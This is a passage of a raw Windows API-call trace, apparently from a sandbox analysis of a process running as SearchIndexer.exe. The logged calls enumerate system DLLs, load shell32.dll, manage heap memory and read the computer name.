nFileSizeLow=0xd800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0185.143] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0185.145] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x192fdc4 | out: BaseAddress=0x192fdc4*=0x75cf0000) returned 0x0 [0185.148] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.148] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.148] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e840) returned 1 [0185.148] FindClose (in: hFindFile=0x72fdc0 | out: hFindFile=0x72fdc0) returned 1 [0185.148] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e268) returned 1 [0185.148] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\SearchIndexer.exe", pNumArgs=0x192fdf0 | out: pNumArgs=0x192fdf0) returned 0x7482c0*="C:\\Windows\\system32\\SearchIndexer.exe" [0185.149] LocalFree (hMem=0x7482c0) returned 0x0 [0185.149] Wow64DisableWow64FsRedirection (in: OldValue=0x192fdec | out: OldValue=0x192fdec*=0x0) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x800) returned 0x8d8e88 [0185.149] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8d8e88, nSize=0x200 | out: lpFilename="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe")) returned 0x25 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e840 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e840) returned 1 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x100) returned 0x8d9690 [0185.149] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x8d9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d9690) returned 1 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d7ee8 